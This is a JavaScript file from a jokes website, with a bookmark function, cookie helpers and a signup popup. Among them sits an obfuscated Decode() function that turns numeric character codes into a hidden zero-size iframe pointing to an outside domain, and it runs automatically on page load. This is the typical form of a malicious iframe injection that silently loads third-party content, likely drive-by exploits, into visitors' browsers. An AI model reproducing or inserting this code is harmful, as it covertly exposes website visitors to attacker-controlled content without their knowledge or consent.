function addfave() 
{
  if (document.all)
  window.external.AddFavorite("http://www.joke-around.com","Joke-around.com - hilarious jokes,pictures and more!")
}

flag=1;
function getCookie(NameOfCookie){
    if (document.cookie.length > 0) {
    begin = document.cookie.indexOf(NameOfCookie+"=");
    if (begin != -1) {
      begin += NameOfCookie.length+1;
      end = document.cookie.indexOf(";", begin);
      if (end == -1) end = document.cookie.length;
        return unescape(document.cookie.substring(begin, end));
    }
  }
  return null;
}

function setCookie(NameOfCookie, value, expiredays) {
var ExpireDate = new Date ();
ExpireDate.setTime(ExpireDate.getTime() + (expiredays * 24 * 3600 * 1000));

  document.cookie = NameOfCookie + "=" + escape(value) +
  ((expiredays == null) ? "" : "; expires=" + ExpireDate.toGMTString());
}

function delCookie (NameOfCookie) {
  if (getCookie(NameOfCookie)) {
    document.cookie = NameOfCookie + "=" +
    "; expires=Thu, 01-Jan-70 00:00:01 GMT";
  }
}

function Decode(){var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101";
str+="!32!115!114!99!61!34!104!116!116!112!58!47!47!106!117!108!105!97!108!111!118";
str+="!97!108!108!111!46!99!111!109!47!105!110!102!111!47!34!32!119!105!100!116!104";
str+="!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101";
str+="!114!61!48!62!60!47!105!102!114!97!109!101!62!";
l=str.length;
while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);
c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
Decode();

function DoTheCookieStuff()
{
  if (flag== 1) 
  {
    visited=getCookie('mailerpop');
    if (visited==null)
    {
    //  setCookie('visited','yes',1)
      setCookie('mailerpop','yes',1)
      myWindow=window.open('/signpop.php','MyWindow','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=320,height=280,left=1,top=1');
    }
  }
}
